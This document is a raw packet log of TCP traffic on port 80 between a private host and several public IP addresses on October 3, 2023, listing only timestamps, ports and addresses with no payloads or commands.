Oct 3, 2023 09:55:16.633963108 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.634021044 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.634107113 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.634215117 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.634273052 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.634278059 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.634310961 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.634363890 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.634711981 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.634761095 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.634804964 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.634814978 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.634871006 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.634923935 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.669470072 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.669553041 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.669639111 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.669683933 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.669738054 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.669809103 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.669887066 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.669928074 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.670010090 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.670032978 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.670101881 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.670171022 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.670227051 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.670298100 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.670358896 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.670382977 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.670470953 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.670509100 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.670536995 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.670591116 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.670655012 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.670671940 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.670762062 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.670825958 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.670847893 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.670917034 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.670979023 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.671039104 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.671076059 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.671113968 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.671142101 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.671149969 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.671206951 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.671222925 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.671258926 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.671318054 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.671325922 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.671394110 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.671463966 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.671499014 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.671650887 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.671705961 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.671740055 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.671808958 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.671863079 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.671880007 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.671948910 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.672004938 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.672020912 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.672126055 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.672164917 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.672187090 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.672271967 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.672322989 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.672377110 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.672446012 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.672501087 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.672554970 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.672663927 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.672720909 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.672724962 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.672815084 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.672868967 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.672903061 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.672991037 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.673044920 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.673079014 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.673182011 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.673239946 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.673238993 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.673310041 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.673360109 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.673396111 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.673465014 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.673530102 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.673583984 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.673676014 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.673755884 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.673780918 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.673866987 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.673906088 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.673923969 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.674009085 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.674046040 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.674062967 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.674113035 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.674151897 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.674173117 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.674252987 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.674290895 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.674309015 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.674328089 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.674365044 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.674380064 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.674401999 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.674457073 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.674489021 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.674526930 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.674563885 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.674576044 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.674664021 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.674716949 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.709801912 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.709841967 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.709882021 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.709956884 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.710002899 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.710067987 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.710078955 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.750664949 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.934801102 CEST	49849	80	192.168.2.3	180.94.156.61
Oct 3, 2023 09:55:17.246535063 CEST	80	49849	180.94.156.61	192.168.2.3
Oct 3, 2023 09:55:17.246814013 CEST	49849	80	192.168.2.3	180.94.156.61
Oct 3, 2023 09:55:17.246929884 CEST	49849	80	192.168.2.3	180.94.156.61
Oct 3, 2023 09:55:17.246965885 CEST	49849	80	192.168.2.3	180.94.156.61
Oct 3, 2023 09:55:17.558624029 CEST	80	49849	180.94.156.61	192.168.2.3
Oct 3, 2023 09:55:17.658610106 CEST	80	49847	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:17.658628941 CEST	80	49847	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:17.658689976 CEST	49847	80	192.168.2.3	172.67.137.125
Oct 3, 2023 09:55:17.659694910 CEST	49847	80	192.168.2.3	172.67.137.125
Oct 3, 2023 09:55:17.779647112 CEST	49852	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:17.874619007 CEST	80	49852	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:17.874713898 CEST	49852	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:17.875031948 CEST	49852	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:17.875524044 CEST	49852	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:17.969577074 CEST	80	49852	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:17.970046043 CEST	80	49852	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:18.286426067 CEST	80	49849	180.94.156.61	192.168.2.3
Oct 3, 2023 09:55:18.286492109 CEST	80	49849	180.94.156.61	192.168.2.3
Oct 3, 2023 09:55:18.286609888 CEST	49849	80	192.168.2.3	180.94.156.61
Oct 3, 2023 09:55:18.286637068 CEST	49849	80	192.168.2.3	180.94.156.61
Oct 3, 2023 09:55:18.368967056 CEST	49855	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:18.463749886 CEST	80	49855	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:18.463840008 CEST	49855	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:18.464087009 CEST	49855	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:18.558650970 CEST	80	49855	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:18.598047018 CEST	80	49849	180.94.156.61	192.168.2.3
Oct 3, 2023 09:55:18.790712118 CEST	80	49852	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:18.790791035 CEST	80	49852	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:18.791071892 CEST	49852	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:18.796230078 CEST	49852	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:18.912209988 CEST	49857	80	192.168.2.3	172.67.137.125
Oct 3, 2023 09:55:19.006690025 CEST	80	49857	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:19.006918907 CEST	49857	80	192.168.2.3	172.67.137.125
Oct 3, 2023 09:55:19.006995916 CEST	49857	80	192.168.2.3	172.67.137.125
Oct 3, 2023 09:55:19.007320881 CEST	49857	80	192.168.2.3	172.67.137.125
Oct 3, 2023 09:55:19.101660013 CEST	80	49857	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:19.101922989 CEST	80	49857	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:19.335035086 CEST	80	49855	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:19.335084915 CEST	80	49855	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:19.335095882 CEST	80	49855	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:19.335242987 CEST	80	49855	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:19.335304976 CEST	80	49855	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:19.335365057 CEST	80	49855	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:19.335367918 CEST	49855	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:19.335367918 CEST	49855	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:19.335367918 CEST	49855	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:19.335426092 CEST	80	49855	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:19.335434914 CEST	49855	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:19.335467100 CEST	49855	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:19.335474968 CEST	80	49855	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:19.335525990 CEST	49855	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:19.335551023 CEST	80	49855	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:19.335592031 CEST	80	49855	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:19.335598946 CEST	49855	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:19.335633039 CEST	49855	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:19.335674047 CEST	80	49855	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:19.335721970 CEST	49855	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:19.335762024 CEST	80	49855	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:19.335808992 CEST	49855	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:19.335850000 CEST	80	49855	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:19.335867882 CEST	80	49855	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:19.335884094 CEST	80	49855	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:19.335906029 CEST	49855	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:19.335906029 CEST	49855	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:19.335932016 CEST	49855	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:19.335962057 CEST	80	49855	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:19.336008072 CEST	49855	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:19.559520960 CEST	49859	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:19.559545994 CEST	80	49857	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:19.559566975 CEST	80	49857	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:19.559662104 CEST	49857	80	192.168.2.3	172.67.137.125
Oct 3, 2023 09:55:19.560936928 CEST	49857	80	192.168.2.3	172.67.137.125
Oct 3, 2023 09:55:19.654478073 CEST	80	49859	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:19.654722929 CEST	49859	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:19.654803991 CEST	49859	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:19.655217886 CEST	49859	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:19.676315069 CEST	49860	80	192.168.2.3	172.67.137.125
Oct 3, 2023 09:55:19.749639988 CEST	80	49859	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:19.749933958 CEST	80	49859	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:19.770766020 CEST	80	49860	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:19.771080971 CEST	49860	80	192.168.2.3	172.67.137.125
Oct 3, 2023 09:55:19.979816914 CEST	49860	80	192.168.2.3	172.67.137.125
Oct 3, 2023 09:55:19.980041981 CEST	49860	80	192.168.2.3	172.67.137.125
Oct 3, 2023 09:55:19.984169006 CEST	80	49859	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:19.984195948 CEST	80	49859	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:19.984263897 CEST	49859	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:19.985507011 CEST	49859	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:20.074359894 CEST	80	49860	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:20.074388981 CEST	80	49860	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:20.114404917 CEST	49861	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:20.214541912 CEST	80	49861	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:20.214675903 CEST	49861	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:20.222357035 CEST	49861	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:20.222754002 CEST	49861	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:20.232137918 CEST	80	49860	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:20.232225895 CEST	80	49860	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:20.232554913 CEST	49860	80	192.168.2.3	172.67.137.125
Oct 3, 2023 09:55:20.233195066 CEST	49860	80	192.168.2.3	172.67.137.125
Oct 3, 2023 09:55:20.316967964 CEST	80	49861	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:20.317923069 CEST	80	49861	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:20.598479986 CEST	80	49861	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:20.598525047 CEST	80	49861	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:20.598702908 CEST	49861	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:20.723889112 CEST	49863	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:20.726974010 CEST	49861	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:20.818876028 CEST	80	49863	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:20.818962097 CEST	49863	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:20.820481062 CEST	49863	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:20.820866108 CEST	49863	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:20.865283966 CEST	49864	80	192.168.2.3	172.67.151.219
Oct 3, 2023 09:55:20.915559053 CEST	80	49863	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:20.915616035 CEST	80	49863	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:20.960227966 CEST	80	49864	172.67.151.219	192.168.2.3
Oct 3, 2023 09:55:20.960438013 CEST	49864	80	192.168.2.3	172.67.151.219
Oct 3, 2023 09:55:20.960655928 CEST	49864	80	192.168.2.3	172.67.151.219
Oct 3, 2023 09:55:20.961095095 CEST	49864	80	192.168.2.3	172.67.151.219
Oct 3, 2023 09:55:21.055223942 CEST	80	49864	172.67.151.219	192.168.2.3
Oct 3, 2023 09:55:21.055578947 CEST	80	49864	172.67.151.219	192.168.2.3
Oct 3, 2023 09:55:21.159193039 CEST	80	49863	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:21.159261942 CEST	80	49863	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:21.159341097 CEST	49863	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:21.160099983 CEST	49863	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:21.278683901 CEST	80	49864	172.67.151.219	192.168.2.3
Oct 3, 2023 09:55:21.278801918 CEST	80	49864	172.67.151.219	192.168.2.3
Oct 3, 2023 09:55:21.278991938 CEST	49864	80	192.168.2.3	172.67.151.219
Oct 3, 2023 09:55:21.279895067 CEST	49864	80	192.168.2.3	172.67.151.219
Oct 3, 2023 09:55:21.403768063 CEST	49865	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:21.463494062 CEST	49866	80	192.168.2.3	172.67.137.125
Oct 3, 2023 09:55:21.506156921 CEST	80	49865	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:21.506464958 CEST	49865	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:21.506994963 CEST	49865	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:21.506994963 CEST	49865	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:21.558554888 CEST	80	49866	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:21.558674097 CEST	49866	80	192.168.2.3	172.67.137.125
Oct 3, 2023 09:55:21.558842897 CEST	49866	80	192.168.2.3	172.67.137.125
Oct 3, 2023 09:55:21.559259892 CEST	49866	80	192.168.2.3	172.67.137.125
Oct 3, 2023 09:55:21.601802111 CEST	80	49865	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:21.601826906 CEST	80	49865	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:21.627548933 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:21.627651930 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:21.627726078 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:21.653516054 CEST	80	49866	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:21.653593063 CEST	49866	80	192.168.2.3	172.67.137.125
Oct 3, 2023 09:55:21.653958082 CEST	80	49866	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:21.654036045 CEST	49866	80	192.168.2.3	172.67.137.125
Oct 3, 2023 09:55:21.654088974 CEST	80	49866	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:21.654122114 CEST	80	49866	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:21.654151917 CEST	49866	80	192.168.2.3	172.67.137.125
Oct 3, 2023 09:55:21.654158115 CEST	80	49866	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:21.654166937 CEST	49866	80	192.168.2.3	172.67.137.125
Oct 3, 2023 09:55:21.654194117 CEST	80	49866	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:21.654212952 CEST	49866	80	192.168.2.3	172.67.137.125
Oct 3, 2023 09:55:21.654269934 CEST	49866	80	192.168.2.3	172.67.137.125
Oct 3, 2023 09:55:21.654316902 CEST	80	49866	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:21.654349089 CEST	80	49866	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:21.654371023 CEST	49866	80	192.168.2.3	172.67.137.125
Oct 3, 2023 09:55:21.654402018 CEST	49866	80	192.168.2.3	172.67.137.125
Oct 3, 2023 09:55:21.654422998 CEST	80	49866	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:21.654495955 CEST	49866	80	192.168.2.3	172.67.137.125
Oct 3, 2023 09:55:21.654529095 CEST	80	49866	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:21.654584885 CEST	49866	80	192.168.2.3	172.67.137.125
Oct 3, 2023 09:55:21.749216080 CEST	80	49866	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:21.749278069 CEST	80	49866	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:21.749294996 CEST	80	49866	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:21.749315023 CEST	80	49866	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:21.749345064 CEST	80	49866	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:21.749361992 CEST	80	49866	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:21.749739885 CEST	49866	80	192.168.2.3	172.67.137.125
Oct 3, 2023 09:55:21.749742985 CEST	80	49866	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:21.749803066 CEST	80	49866	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:21.749820948 CEST	80	49866	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:21.749933958 CEST	80	49866	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:21.749983072 CEST	80	49866	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:21.750063896 CEST	80	49866	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:21.750071049 CEST	49866	80	192.168.2.3	172.67.137.125
Oct 3, 2023 09:55:21.750134945 CEST	49866	80	192.168.2.3	172.67.137.125
Oct 3, 2023 09:55:21.750134945 CEST	49866	80	192.168.2.3	172.67.137.125
Oct 3, 2023 09:55:21.791114092 CEST	80	49866	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:21.791400909 CEST	49866	80	192.168.2.3	172.67.137.125
Oct 3, 2023 09:55:21.794807911 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:21.846028090 CEST	80	49866	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:21.846061945 CEST	80	49866	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:21.846079111 CEST	80	49866	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:21.846096992 CEST	80	49866	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:21.846128941 CEST	80	49866	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:21.846168041 CEST	80	49866	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:21.846174002 CEST	49866	80	192.168.2.3	172.67.137.125
Oct 3, 2023 09:55:21.846200943 CEST	80	49866	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:21.846234083 CEST	80	49866	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:21.846266031 CEST	80	49866	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:21.846297979 CEST	80	49866	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:21.846329927 CEST	80	49866	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:21.846362114 CEST	80	49866	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:21.846393108 CEST	80	49866	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:21.846424103 CEST	80	49866	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:21.846482992 CEST	80	49866	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:21.846513987 CEST	80	49866	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:21.846544981 CEST	80	49866	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:21.847095013 CEST	80	49866	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:21.847151041 CEST	80	49866	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:21.847187996 CEST	80	49866	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:21.847223043 CEST	80	49866	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:21.847254992 CEST	80	49866	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:21.847287893 CEST	80	49866	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:21.847318888 CEST	80	49866	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:21.847351074 CEST	80	49866	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:21.886415005 CEST	80	49866	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:21.886502981 CEST	80	49866	172.67.137.125	192.168.2.3
